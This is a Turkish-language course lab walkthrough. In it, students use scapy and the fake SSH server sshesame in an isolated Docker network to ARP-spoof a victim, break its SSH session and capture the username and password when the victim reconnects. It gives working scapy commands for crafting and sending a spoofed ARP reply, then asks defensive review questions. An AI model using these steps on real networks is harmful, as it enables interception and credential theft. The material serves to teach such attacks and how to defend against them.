Laboratuvar: Scapy ile MitM
Bu laboratuvarda sahte bir SSH sunucusu olan sshesame ve etkileşimli bir paket manipülasyon programı olan scapy kullanarak kurban ve sunucu arasında devam eden bir SSH oturumunu bozacak, kendimizi trafiğin ortasında konumlandıracak ve kurbanın kullandığı kullanıcı adı ve şifreyi ele geçireceğiz.
Tablo; Kullanılan IP Adresleri
| İsim | IP Adresi |
|---|---|
| sunucu | 172.20.0.5 |
| kurban | 172.20.0.6 |
| saldırgan | 172.20.0.7 |
Bu laboratuvar için IP adreslerimiz statik olarak yapılandırılmıştır ve saldırgan tarafından bilinmektedir. Ayrıca saldırganın yerel ağda olduğu varsayılmaktadır. Son olarak kurban, ana bilgisayar anahtarındaki değişiklikleri göz ardı edecek şekilde kötü yapılandırılmıştır. Birçok kullanıcı uyarıları görmezden geldiği ve istendiğinde known_hosts dosyasını temizlediği için bu tamamen mantıksız değildir.
Kullanacağımız Docker Compose yapılandırmasını içeren scapy.zip dosyasını indirerek başlayın. Yazma erişiminizin olduğu bir dizine sıkıştırılmış dosyayı açın. Bu laboratuvar üç terminal penceresi/sekmesi kullanmamızı gerektirecek: biri arka planda çalışan her şeyin çıktısını gösterecek olan docker-compose up komutu için, biri sunucu ile SSH oturumunu gösterecek olan kurban için ve biri de saldırıyı yapmak için kullanacağımız saldırgan için.
Üç terminal açın ve her birinde lab zip dosyasını sıkıştırdığınız dizine cd ile girin. Bulunduğunuz dizinde bir docker-compose.yml dosyası ve sunucu, kurban ve saldırgan dizinleri olmalıdır.
İlk terminalde imajları oluşturmak ve konteynerleri çalıştırmak için docker-compose up komutunu çalıştırın:
docker-compose up
PS C:\Users\rxt1077\it230\labs\scapy> docker-compose up Creating network "scapy_testnet" with the default driver Creating scapy_server_1 ... done Creating scapy_victim_1 ... done Creating scapy_attacker_1 ... done Attaching to scapy_victim_1, scapy_server_1, scapy_attacker_1 server_1 | > Starting SSHD server_1 | >> Generating new host keys scapy_victim_1 exited with code 0 attacker_1 | INFO 2021/10/07 13:56:45 No host keys configured, using keys at "/root/.local/share/sshesame" attacker_1 | INFO 2021/10/07 13:56:45 Host key "/root/.local/share/sshesame/host_rsa_key" not found, generating it attacker_1 | INFO 2021/10/07 13:56:45 Host key "/root/.local/share/sshesame/host_ecdsa_key" not found, generating it attacker_1 | INFO 2021/10/07 13:56:45 Host key "/root/.local/share/sshesame/host_ed25519_key" not found, generating it attacker_1 | INFO 2021/10/07 13:56:45 Listening on [::]:22 server_1 | ssh-keygen: generating new host keys: RSA DSA ECDSA ED25519 server_1 | >>> Fingerprints for dsa host key server_1 | 1024 MD5:a5:e6:e9:38:d2:2e:88:fd:f0:aa:a8:05:07:35:5f:18 root@a010fe3c2f3c (DSA) server_1 | 1024 SHA256:NM7DONpt1doZp4e6WV+6WVVr+KUrh9luUSRcAhnzdyw root@a010fe3c2f3c (DSA) server_1 | 1024 SHA512:LHfFdSk1XiAKQArH0CW+RkaKv5GgovPCH7UIQ+P4T2LbgGpCBP5aGA1V3oriYbTZWuS9TlUgDbEfTBq19AV/cA root@a010fe3c2f3c (DSA) server_1 | >>> Fingerprints for rsa host key server_1 | 3072 MD5:74:44:b6:a2:74:b9:7e:1b:ba:3d:27:b8:19:3a:48:df root@a010fe3c2f3c (RSA) server_1 | 3072 SHA256:mubm9mLNrdNDk5fyj0dghDBIbbwcVKXo23Qdv61/S/c root@a010fe3c2f3c (RSA) server_1 | 3072 SHA512:JFQhS6trY7sNqRSwZ+t0uyBb5ddNh9qSLtBrMaa5G7xWzKHpxCuKBSDbvLk4W9JKeQftTU4293UDV9vqCcf/6w root@a010fe3c2f3c (RSA) server_1 | >>> Fingerprints for ecdsa host key server_1 | 256 MD5:15:75:5f:9b:72:7c:f0:13:ea:0d:b4:47:b7:62:69:63 root@a010fe3c2f3c (ECDSA) server_1 | 256 SHA256:4p/Afp/8C2tHn7AePdS7OHCgPxfBamdaLIUg4IJ7xx4 root@a010fe3c2f3c (ECDSA) server_1 | 256 SHA512:NnbevqBXFkGQWIirdFsLPnX85q7q/1Y7E4i+BLHLqE3cg2aqkduBJsssyr9+G7bSvq7txvjl9SRmyRAzuDT7DQ root@a010fe3c2f3c (ECDSA) server_1 | >>> Fingerprints for ed25519 host key server_1 | 256 MD5:ad:00:61:26:4d:a0:07:be:6b:8e:91:bd:f0:65:e6:14 root@a010fe3c2f3c (ED25519) server_1 | 256 SHA256:Vl7jQulDsONglP1xbSN+J8nSfCaIER40rHhgy7z/BYg root@a010fe3c2f3c (ED25519) server_1 | 256 SHA512:WkmvOWe6oaZ/qE1ZiA0rZAjn9H+hCDxI8NHpsjRNCalK/CgVV9+VhkzHgRTKfKTqQeE0y/Zz2GaEJGv/sapCHg root@a010fe3c2f3c (ED25519) server_1 | WARNING: No SSH authorized_keys found! server_1 | >> Unlocking root account server_1 | WARNING: password authentication enabled. server_1 | WARNING: password authentication for root user enabled. server_1 | >> Running: /etc/entrypoint.d/changepw.sh server_1 | Running /usr/sbin/sshd -D -e -f /etc/ssh/sshd_config server_1 | Server listening on 0.0.0.0 port 22. server_1 | Server listening on :: port 22. |
| scapy_testnet ağı oluşturulamadı hatasını alırsanız: Daemon’dan hata yanıtı: Pool overlaps with other one on this address space hatası alıyorsanız çalışan başka konteyner olup olmadığını kontrol edin ve onları durdurun. Docker’ın oluşturduğu eski ağları kaldırmak için docker network prune çalıştırmanız da gerekebilir. |
İkinci terminalde docker-compose run victim bash komutunu çalıştırın ve ardından komut isteminden "password" parolasını kullanarak sunucuya SSH yapacağız:
victim
PS C:\Users\rxt1077\it230\labs\scapy> docker-compose run victim bash Creating scapy_victim_run ... done bash-5.0# ssh server Warning: Permanently added 'server,172.20.0.5' (ECDSA) to the list of known hosts. root@server's password: You are now logged into 'server' (presumably from 'victim') via SSH for this assignment. Leave this connection open while you experiment with scapy from 'attacker'. bf9ebe42a108:~# |
| Herhangi bir nedenle parola çalışmazsa ve doğru yazdığınızdan eminseniz aşağıdaki docker compose exec server passwd komutunu çalıştırabilirsiniz (password değil passwd olduğuna dikkat edin). Parolayı iki kez yazdığınızda, yazdığınız parola sıfırlanacaktır. Yazdıklarınız ekrana yankılanmayacaktır. Şimdi yazdığınız parola ile kurbandan sunucuya ssh yapabiliyor olmalısınız. |
Üçüncü terminalde saldırgan üzerinde bir BASH kabuğu çalıştırarak (bu noktada zaten arka planda sshesame'in çalıştığını hatırlayın) ve sadece kendi IP adresi için değil, aynı zamanda sunucunun IP adresi için de paketleri kabul edecek şekilde yapılandırarak başlayacağız. Trafik bize yönlendirildikten sonra, bu, saldırganın 172.20.0.5'e yönelik paketlere de yanıt vermesine izin verecektir.
attacker
PS C:\Users\rxt1077\it230\labs\scapy> docker-compose exec attacker bash root@5195de3d330c:/# ip addr add 172.20.0.5 dev eth0 root@5195de3d330c:/# ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000 link/ipip 0.0.0.0 brd 0.0.0.0 3: sit0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000 link/sit 0.0.0.0 brd 0.0.0.0 347: eth0@if348: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:14:00:07 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.20.0.7/24 brd 172.20.0.255 scope global eth0 valid_lft forever preferred_lft forever inet 172.20.0.5/32 scope global eth0 valid_lft forever preferred_lft forever |
Artık saldırgan sistemi yapılandırıldığına göre, scapy'yi etkileşimli olarak başlatacağız:
attacker
root@5195de3d330c:/# scapy INFO: Can't import matplotlib. Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). INFO: No IPv6 support in kernel INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11) INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication. WARNING: IPython not available. Using standard Python shell instead. AutoCompletion, History are disabled. aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.5 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | To craft a packet, you have to be a scccccp///pSP///p p//Y | packet, and learn how to swim in sY/////////y caa S//P | the wires and in the waves. cayCyayP//Ya pY/Ya | -- Jean-Claude Van Damme sY/PsY////YCc aC//Yp | sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs >>> |
Scapy'nin komut isteminin tıpkı python gibi >>> olduğunu fark edeceksiniz, çünkü o bir python. Python'da çalıştığımıza göre, birkaç basit değişken tanımlayarak hayatımızı kolaylaştıralım:
attacker
>>> server_ip = "172.20.0.5" >>> victim_ip = "172.20.0.6" |
Şimdi scapy'nin paketleri oluşturmamıza nasıl izin verdiğini görelim. İçinde bir IP paketi olan bir Ethernet çerçevesi oluşturacağız, bunun içinde bir ICMP yankı isteği olacak ve veri bizim ismimize ayarlanacak:
attacker
>>> ping = Ether()/IP(dst=server_ip)/ICMP()/"Ryan Tolboom" >>> ping.show() ###[ Ethernet ]### dst = 02:42:ac:14:00:05 src = 02:42:ac:14:00:07 type = IPv4 ###[ IP ]### version = 4 ihl = None tos = 0x0 len = None id = 1 flags = frag = 0 ttl = 64 proto = icmp chksum = None src = 172.20.0.7 dst = 172.20.0.5 \options \ ###[ ICMP ]### type = echo-request code = 0 chksum = None id = 0x0 seq = 0x0 unused = '' ###[ Raw ]### load = 'Ryan Tolboom' >>> result = srp1(ping) Begin emission: Finished sending 1 packets. .* Received 2 packets, got 1 answers, remaining 0 packets >>> result.show() ###[ Ethernet ]### dst = 02:42:ac:14:00:07 src = 02:42:ac:14:00:05 type = IPv4 ###[ IP ]### version = 4 ihl = 5 tos = 0x0 len = 40 id = 62086 flags = frag = 0 ttl = 64 proto = icmp chksum = 0x301a src = 172.20.0.5 dst = 172.20.0.7 \options \ ###[ ICMP ]### type = echo-reply code = 0 chksum = 0xea7a id = 0x0 seq = 0x0 unused = '' ###[ Raw ]### load = 'Ryan Tolboom' >>> server_mac = result[0][0].src >>> server_mac '02:42:ac:14:00:05' |
Bunu sunucunun MAC adresini yakalamak ve server_mac değişkenine kaydetmek için nasıl kullandığımıza dikkat edin.
| Bu noktada scapy oturumunuzun, içinde adınızın geçtiği bir ICMP echo istek/yanıtını tamamladığınızı gösteren bir ekran görüntüsünü alın. |
MAC adreslerini Katman 2'de bir ARP "who-has" isteği ile de belirleyebiliriz. Kurbanın IP adresi için bir ARP "who-has" isteği içeren bir yayın ethernet çerçevesi oluşturalım ve gönderelim. Sonuç, kurbanın MAC adresinin ne olduğunu söyleyecektir:
attacker
>>> whohas = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=victim_ip) >>> result = srp1(whohas) Begin emission: Finished sending 1 packets. * Received 1 packets, got 1 answers, remaining 0 packets >>> result.show() ###[ Ethernet ]### dst = 02:42:ac:14:00:07 src = 02:42:ac:14:00:06 type = ARP ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = 6 plen = 4 op = is-at hwsrc = 02:42:ac:14:00:06 psrc = 172.20.0.6 hwdst = 02:42:ac:14:00:07 pdst = 172.20.0.7 >>> victim_mac = result[0].src |
ARP alışverişinin bu şekilde çalışması gerekiyor. Belirli bir IP için hangi MAC'i kullanmamız gerektiğini soran bir yayın yaparız ve bu MAC ve IP'ye yasal olarak sahip olan kişiden bir yanıt alırız.
Kurbana sunucu IP'sine erişmeye çalıştığında trafiği bize göndermesini söyleyen bir ARP paketi oluşturmak için ihtiyacımız olan her şeye sahibiz:
attacker
>>> victim_ip, victim_mac, server_ip, server_mac ('172.20.0.6', '02:42:ac:14:00:06', '172.20.0.5', '02:42:ac:14:00:05') |
Şimdi kötü bir ARP paketi yapalım ve görüntüleyelim:
attacker
>>> bad_arp = ARP(op=2, pdst=victim_ip, psrc=server_ip, hwdst=victim_mac) >>> bad_arp <ARP op=is-at psrc=172.20.0.5 hwdst=02:42:ac:14:00:06 pdst=172.20.0.6 |> |
Bu paket kendini sunucudan geliyormuş gibi gösterir, hem IP hem de MAC olarak kurbana yöneliktir, ancak göndermek için kullanılacak MAC adresi bizimdir (varsayılan olarak, hwsrc ile belirtmiyoruz). Bu, kurbanın ARP önbelleğini sunucuya giden çerçevelerin saldırgana gideceği şekilde güncelleyeceği anlamına gelir. Bu, kurbandan sunucuya giden tüm katman 2 trafiğini etkili bir şekilde yeniden yönlendirir.
Devam et ve ARP paketini gönder:
attacker
>>> send(bad_arp) . Sent 1 packets. |
Şimdi sunucuya SSH bağlantısı olan kurban terminaline geri dönün ve bir şeyler yazmayı deneyin. SSH veri göndermek zorunda kalır kalmaz, broken pipe hatası alacaksınız ve bağlantı kesilecektir. Böyle bir sorunla karşılaşan çoğu kullanıcının ne yapacağını düşünüyorsunuz? Muhtemelen yeniden bağlanmayı dener, hadi bunu da deneyelim. Parolanın " password" olduğunu unutmayın.
victim
You are now logged into 'server' (presumably from 'victim') via SSH for this assignment. Leave this connection open while you experiment with scapy from 'attacker'. bf9ebe42a108:~# client_loop: send disconnect: Broken pipe bash-5.0# ssh server Warning: Permanently added 'server,172.20.0.5' (ECDSA) to the list of known hosts. root@server's password: # |
Bekle, bu komut istemi biraz farklı görünüyor ve oturum açık kalmayla ilgili mesaj nerede? Kurbanın aslında sahte SSH sunucumuzda oturum açtığı ve kullanıcı adı ile şifresinin kaydedildiği ortaya çıktı! Docker-compose up çalıştıran terminalin çıktısına bir göz atın, girilen kimlik bilgilerini göreceksiniz:
docker-compose up terminal
attacker_1 | 2021/10/07 01:21:41 [172.20.0.6:60252] authentication for user "root" with password "password" accepted |
| 1. Daha önce yaptığınız değişikliği tersine çevirmek ve güzergahı düzeltmek için scapy’de nasıl bir ARP paketi oluşturursunuz? 2. Parola yerine anahtar kullanmak bu tür bir saldırıyı önlemeye yardımcı olur mu? Neden ya da neden olmasın? 3. Ana bilgisayar anahtarlarını doğru şekilde yönetmek bu tür bir saldırıyı nasıl önler? |
Çalışan konteynerleri durdurmak için, docker-compose up çalıştıran terminalde Ctrl-C yazabilir, kurbandan çıkabilir ve saldırgandan çıkabilirsiniz.
Önceki Ders: Saldırılar - Sonuçlar
Sonraki Ders: Saldırılar İnceleme Soruları
Yorumlar
Yorum Gönder